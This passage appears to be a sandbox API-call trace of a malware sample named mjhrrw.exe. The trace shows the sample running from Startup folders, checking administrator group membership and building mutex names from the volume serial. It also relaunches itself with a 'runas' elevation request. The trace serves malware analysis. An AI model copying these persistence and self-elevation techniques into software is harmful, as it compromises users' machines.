Flags=0x0, Size=0x20) returned 0x68aff8 [0205.538] GetProcessHeap () returned 0x680000 [0205.538] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x693720 [0205.538] GetProcessHeap () returned 0x680000 [0205.538] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x69ead0 [0205.538] GetProcessHeap () returned 0x680000 [0205.538] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x69ece8 [0205.538] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x69ece8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x58 [0205.538] GetProcessHeap () returned 0x680000 [0205.538] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x69ece8 | out: hHeap=0x680000) returned 1 [0205.538] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.538] GetProcessHeap () returned 0x680000 [0205.539] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x693720 | out: hHeap=0x680000) returned 1 [0205.539] GetProcessHeap () returned 0x680000 [0205.539] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x69ead0 | out: hHeap=0x680000) returned 1 [0205.539] GetProcessHeap () returned 0x680000 [0205.539] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68aff8 | out: hHeap=0x680000) returned 1 [0205.539] GetVersion () returned 0x23f00206 [0205.539] GetCurrentProcess () returned 0xffffffff [0205.539] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x4ff6cc | out: TokenHandle=0x4ff6cc*=0x1fc) returned 1 [0205.539] GetTokenInformation (in: TokenHandle=0x1fc, TokenInformationClass=0x14, TokenInformation=0x4ff6c4, TokenInformationLength=0x4, ReturnLength=0x4ff6c8 | out: TokenInformation=0x4ff6c4, ReturnLength=0x4ff6c8) returned 1 [0205.539] CloseHandle (hObject=0x1fc) returned 1 [0205.539] GetProcessHeap () returned 0x680000 [0205.539] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x68aff8 [0205.539] GetProcessHeap () returned 0x680000 [0205.539] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x693720 [0205.539] GetProcessHeap () returned 0x680000 [0205.539] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x69ead0 [0205.539] GetProcessHeap () returned 0x680000 [0205.539] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x693720 | out: hHeap=0x680000) returned 1 [0205.539] GetProcessHeap () returned 0x680000 [0205.539] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x69ead0 | out: hHeap=0x680000) returned 1 [0205.539] GetProcessHeap () returned 0x680000 [0205.539] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x68b0c0 [0205.539] GetProcessHeap () returned 0x680000 [0205.539] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x68b110 [0205.540] GetProcessHeap () returned 0x680000 [0205.540] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x69f1b8 [0205.540] GetProcessHeap () returned 0x680000 [0205.540] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x691f70 [0205.540] GetProcessHeap () returned 0x680000 [0205.540] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x691f70 | out: hHeap=0x680000) returned 1 [0205.540] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x68b110, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0205.540] GetProcessHeap () returned 0x680000 [0205.540] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x69f1b8 | out: hHeap=0x680000) returned 1 [0205.540] GetProcessHeap () returned 0x680000 [0205.540] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68b0c0 | out: hHeap=0x680000) returned 1 [0205.540] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x4ff684, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4ff684*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0205.540] GetProcessHeap () returned 0x680000 [0205.540] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68b110 | out: hHeap=0x680000) returned 1 [0205.541] GetProcessHeap () returned 0x680000 [0205.541] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x30) returned 0x693320 [0205.541] GetProcessHeap () returned 0x680000 [0205.541] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x2a) returned 0x6935c0 [0205.541] GetProcessHeap () returned 0x680000 [0205.541] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6935c0, Size=0x52) returned 0x68e978 [0205.541] GetProcessHeap () returned 0x680000 [0205.541] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x693320 | out: hHeap=0x680000) returned 1 [0205.541] GetProcessHeap () returned 0x680000 [0205.541] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68e978 | out: hHeap=0x680000) returned 1 [0205.541] GetProcessHeap () returned 0x680000 [0205.541] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1c) returned 0x68b0c0 [0205.541] GetProcessHeap () returned 0x680000 [0205.541] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1c) returned 0x68b110 [0205.541] GetProcessHeap () returned 0x680000 [0205.541] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x69eb00 [0205.541] GetProcessHeap () returned 0x680000 [0205.541] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x69eb78 [0205.541] GetProcessHeap () returned 0x680000 [0205.541] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x69ec68 [0205.541] GetProcessHeap () returned 0x680000 [0205.541] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x691f70 [0205.541] GetProcessHeap () returned 0x680000 [0205.541] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x691f70 | out: hHeap=0x680000) returned 1 [0205.541] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x69eb78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0205.541] GetProcessHeap () returned 0x680000 [0205.542] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x69ec68 | out: hHeap=0x680000) returned 1 [0205.542] GetProcessHeap () returned 0x680000 [0205.542] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x69eb00 | out: hHeap=0x680000) returned 1 [0205.542] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x4ff66c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4ff66c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0205.543] GetProcessHeap () returned 0x680000 [0205.543] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x69eb78 | out: hHeap=0x680000) returned 1 [0205.543] GetProcessHeap () returned 0x680000 [0205.543] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x692548 [0205.543] GetProcessHeap () returned 0x680000 [0205.543] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3a) returned 0x6924b8 [0205.543] GetProcessHeap () returned 0x680000 [0205.543] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x6924b8, Size=0x72) returned 0x692060 [0205.543] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x1fc [0205.543] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x102 [0205.543] CloseHandle (hObject=0x1fc) returned 1 [0205.543] GetProcessHeap () returned 0x680000 [0205.543] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x692548 | out: hHeap=0x680000) returned 1 [0205.543] GetProcessHeap () returned 0x680000 [0205.543] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x692060 | out: hHeap=0x680000) returned 1 [0205.543] GetProcessHeap () returned 0x680000 [0205.543] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20) returned 0x69f190 [0205.543] GetProcessHeap () returned 0x680000 [0205.543] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x1e) returned 0x69f0f0 [0205.544] GetProcessHeap () returned 0x680000 [0205.544] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x1e) returned 0x69f1e0 [0205.544] GetProcessHeap () returned 0x680000 [0205.544] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x90) returned 0x691f70 [0205.544] GetProcessHeap () returned 0x680000 [0205.544] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x691f70 | out: hHeap=0x680000) returned 1 [0205.544] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x69f0f0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0205.544] GetProcessHeap () returned 0x680000 [0205.544] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x69f1e0 | out: hHeap=0x680000) returned 1 [0205.544] GetProcessHeap () returned 0x680000 [0205.544] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x69f190 | out: hHeap=0x680000) returned 1 [0205.544] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x4ff654, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4ff654*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0205.544] GetProcessHeap () returned 0x680000 [0205.544] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x69f0f0 | out: hHeap=0x680000) returned 1 [0205.544] GetProcessHeap () returned 0x680000 [0205.544] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x40) returned 0x692980 [0205.544] GetProcessHeap () returned 0x680000 [0205.544] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x8, Size=0x3a) returned 0x692620 [0205.544] GetProcessHeap () returned 0x680000 [0205.544] RtlReAllocateHeap (Heap=0x680000, Flags=0x0, Ptr=0x692620, Size=0x72) returned 0x692060 [0205.545] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0205.545] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x1fc [0205.545] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x0 [0205.545] GetProcessHeap () returned 0x680000 [0205.545] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x692980 | out: hHeap=0x680000) returned 1 [0205.545] GetProcessHeap () returned 0x680000 [0205.545] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x692060 | out: hHeap=0x680000) returned 1 [0205.545] ReleaseMutex (hMutex=0x1fc) returned 1 [0205.545] CloseHandle (hObject=0x1fc) returned 1 [0205.545] GetVersion () returned 0x23f00206 [0205.545] GetProcessHeap () returned 0x680000 [0205.545] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10) returned 0x69f6f0 [0205.545] GetProcessHeap () returned 0x680000 [0205.545] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x20a) returned 0x693720 [0205.545] GetCurrentProcess () returned 0xffffffff [0205.545] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x4ff694 | out: TokenHandle=0x4ff694*=0x1fc) returned 1 [0205.545] GetTokenInformation (in: TokenHandle=0x1fc, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x4ff6ac | out: TokenInformation=0x0, ReturnLength=0x4ff6ac) returned 0 [0205.545] GetProcessHeap () returned 0x680000 [0205.545] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x140) returned 0x692c08 [0205.546] GetTokenInformation (in: TokenHandle=0x1fc, TokenInformationClass=0x2, TokenInformation=0x692c08, TokenInformationLength=0x140, ReturnLength=0x4ff6ac | out: TokenInformation=0x692c08, ReturnLength=0x4ff6ac) returned 1 [0205.546] AllocateAndInitializeSid (in: pIdentifierAuthority=0x4ff6a0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x4ff6a8 | out: pSid=0x4ff6a8*=0x69f780*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0205.546] EqualSid (pSid1=0x69f780*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x692c7c*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xb4))) returned 0 [0205.546] EqualSid (pSid1=0x69f780*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x692c98*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0205.546] EqualSid (pSid1=0x69f780*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x692ca4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x72)) returned 0 [0205.546] EqualSid (pSid1=0x69f780*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x692cb0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0205.546] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x692cb0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), Name=0x4ff278, cchName=0x4ff6ac, ReferencedDomainName=0x4ff484, cchReferencedDomainName=0x4ff6ac, peUse=0x4ff690 | out: Name="Administrators", cchName=0x4ff6ac, ReferencedDomainName="BUILTIN", cchReferencedDomainName=0x4ff6ac, peUse=0x4ff690) returned 1 [0205.722] GetProcessHeap () returned 0x680000 [0205.722] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x692c08 | out: hHeap=0x680000) returned 1 [0205.722] GetProcessHeap () returned 0x680000 [0205.722] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x50) returned 0x68e510 [0205.722] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75cb0000 [0205.722] GetProcAddress (hModule=0x75cb0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75cc6b30 [0205.722] Wow64DisableWow64FsRedirection (in: OldValue=0x4ff6c8 | out: OldValue=0x4ff6c8*=0x0) returned 1 [0205.722] GetProcessHeap () returned 0x680000 [0205.722] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x68e510 | out: hHeap=0x680000) returned 1 [0205.723] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x693720, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x58 [0205.725] ShellExecuteExW (pExecInfo=0x4ff66c*(cbSize=0x3c, fMask=0x100, hwnd=0x0, lpVerb="runas", lpFile="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) Thread: id = 49 os_tid = 0xcbc Thread: id = 58 os_tid = 0xd10 Thread: id = 61 os_tid = 0xd24 Thread: id = 68 os_tid = 0xd44 Thread: id = 71 os_tid = 0xd50 Thread: id = 72 os_tid = 0xd54 Thread: id = 73 os_tid = 0xd58 Process: id = "11" image_name = "mjhrrw.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe" page_root = "0x50719000" os_pid = "0xcb4" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0xc88" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00018d54" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 48 os_tid = 0xcb8 [0205.816] GetProcessHeap () returned 0xda0000 [0205.816] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x30) returned 0xdb6ac0 [0205.816] GetProcessHeap () returned 0xda0000 [0205.816] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x34c0) returned 0xdb6b28 [0205.820] GetProcessHeap () returned 0xda0000 [0205.820] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x300) returned 0xdb9ff0 [0205.821] GetProcessHeap () returned 0xda0000 [0205.821] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x10) returned 0xdaaec8 [0205.821] GetTickCount () returned 0x1142859 [0205.821] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0xd7fb60, cchData=32 | out: lpLCData="\x03") returned 16 [0205.822] GetProcessHeap () returned 0xda0000 [0205.822] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x20) returned 0xda45b8 [0205.822] GetProcessHeap () returned 0xda0000 [0205.822] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x20a) returned 0xdba2f8 [0205.822] GetProcessHeap () returned 0xda0000 [0205.822] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x20a) returned 0xdba510 [0205.822] GetProcessHeap () returned 0xda0000 [0205.822] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x20a) returned 0xdba728 [0205.823] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xdba728, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mjhrrw.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\mjhrrw.exe")) returned 0x47 [0205.823] GetProcessHeap () returned 0xda0000 [0205.823] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdba728 | out: hHeap=0xda0000) returned 1 [0205.823] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sfor.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sfor.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0205.823] GetProcessHeap () returned 0xda0000 [0205.823] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdba2f8 | out: hHeap=0xda0000) returned 1 [0205.823] GetProcessHeap () returned 0xda0000 [0205.823] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdba510 | out: hHeap=0xda0000) returned 1 [0205.823] GetProcessHeap () returned 0xda0000 [0205.823] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xda45b8 | out: hHeap=0xda0000) returned 1 [0205.823] GetVersion () returned 0x23f00206 [0205.823] GetCurrentProcess () returned 0xffffffff [0205.823] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xd7faf4 | out: TokenHandle=0xd7faf4*=0x1dc) returned 1 [0205.824] GetTokenInformation (in: TokenHandle=0x1dc, TokenInformationClass=0x14, TokenInformation=0xd7faec, TokenInformationLength=0x4, ReturnLength=0xd7faf0 | out: TokenInformation=0xd7faec, ReturnLength=0xd7faf0) returned 1 [0205.824] CloseHandle (hObject=0x1dc) returned 1 [0205.824] GetProcessHeap () returned 0xda0000 [0205.824] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x20) returned 0xda45b8 [0205.824] GetProcessHeap () returned 0xda0000 [0205.824] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x20a) returned 0xdba2f8 [0205.824] GetProcessHeap () returned 0xda0000 [0205.824] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x20a) returned 0xdba510 [0205.824] GetProcessHeap () returned 0xda0000 [0205.824] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdba2f8 | out: hHeap=0xda0000) returned 1 [0205.824] GetProcessHeap () returned 0xda0000 [0205.824] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdba510 | out: hHeap=0xda0000) returned 1 [0205.824] GetProcessHeap () returned 0xda0000 [0205.824] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x20) returned 0xda47d0 [0205.824] GetProcessHeap () returned 0xda0000 [0205.824] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x8, Size=0x1e) returned 0xda2cb0 [0205.824] GetProcessHeap () returned 0xda0000 [0205.825] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x1e) returned 0xdaa348 [0205.825] GetProcessHeap () returned 0xda0000 [0205.825] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x90) returned 0xda4d00 [0205.825] GetProcessHeap () returned 0xda0000 [0205.825] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xda4d00 | out: hHeap=0xda0000) returned 1 [0205.825] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xda2cb0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0205.825] GetProcessHeap () returned 0xda0000 [0205.825] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdaa348 | out: hHeap=0xda0000) returned 1 [0205.825] GetProcessHeap () returned 0xda0000 [0205.825] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xda47d0 | out: hHeap=0xda0000) returned 1 [0205.825] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd7faac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd7faac*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0205.826] GetProcessHeap () returned 0xda0000 [0205.826] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xda2cb0 | out: hHeap=0xda0000) returned 1 [0205.826] GetProcessHeap () returned 0xda0000 [0205.826] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x30) returned 0xdb6a88 [0205.826] GetProcessHeap () returned 0xda0000 [0205.826] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x8, Size=0x2a) returned 0xdb6a50 [0205.826] GetProcessHeap () returned 0xda0000 [0205.826] RtlReAllocateHeap (Heap=0xda0000, Flags=0x0, Ptr=0xdb6a50, Size=0x52) returned 0xda4370 [0205.826] GetProcessHeap () returned 0xda0000 [0205.826] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdb6a88 | out: hHeap=0xda0000) returned 1 [0205.826] GetProcessHeap () returned 0xda0000 [0205.826] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xda4370 | out: hHeap=0xda0000) returned 1 [0205.826] GetProcessHeap () returned 0xda0000 [0205.826] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x1c) returned 0xda2cb0 [0205.826] GetProcessHeap () returned 0xda0000 [0205.826] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x1c) returned 0xda47d0 [0205.826] GetProcessHeap () returned 0xda0000 [0205.827] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x20) returned 0xdaa348 [0205.827] GetProcessHeap () returned 0xda0000 [0205.827] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x8, Size=0x1e) returned 0xdaa370 [0205.827] GetProcessHeap () returned 0xda0000 [0205.827] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x1e) returned 0xdaa270 [0205.827] GetProcessHeap () returned 0xda0000 [0205.827] RtlAllocateHeap (HeapHandle=0xda0000, Flags=0x0, Size=0x90) returned 0xda4d00 [0205.827] GetProcessHeap () returned 0xda0000 [0205.827] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xda4d00 | out: hHeap=0xda0000) returned 1 [0205.827] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xdaa370, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0205.827] GetProcessHeap () returned 0xda0000 [0205.827] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdaa270 | out: hHeap=0xda0000) returned 1 [0205.827] GetProcessHeap () returned 0xda0000 [0205.827] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdaa348 | out: hHeap=0xda0000) returned 1 [0205.827] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd7fa94, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd7fa94*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0205.828] GetProcessHeap () returned 0xda0000 [0205.828] HeapFree (in: hHeap=0xda0000, dwFlags=0x0, lpMem=0xdaa370 | out: 